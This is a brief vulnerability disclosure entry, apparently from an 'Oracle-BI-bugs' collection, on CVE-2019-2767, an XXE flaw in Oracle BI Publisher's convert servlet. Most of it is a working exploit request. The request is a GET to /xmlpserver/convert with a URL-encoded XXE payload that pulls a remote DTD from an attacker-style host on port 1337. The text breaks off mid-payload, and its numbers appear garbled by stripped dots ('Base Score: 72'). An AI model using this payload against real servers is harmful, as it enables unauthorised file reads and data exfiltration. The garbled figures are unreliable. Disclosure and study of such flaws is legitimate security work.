Oracle-BI-bugs CVE-2019-2767 Subject: XXE IN CONVERT SERVLET CVSSv30 Base Score: 72 CVSS Vector: CVSS:30/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N GET /xmlpserver/convert?xml=<%3fxml+version%3d"10"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//ehost%3a1337/evxml">%25sp%3b%25param1%3b]&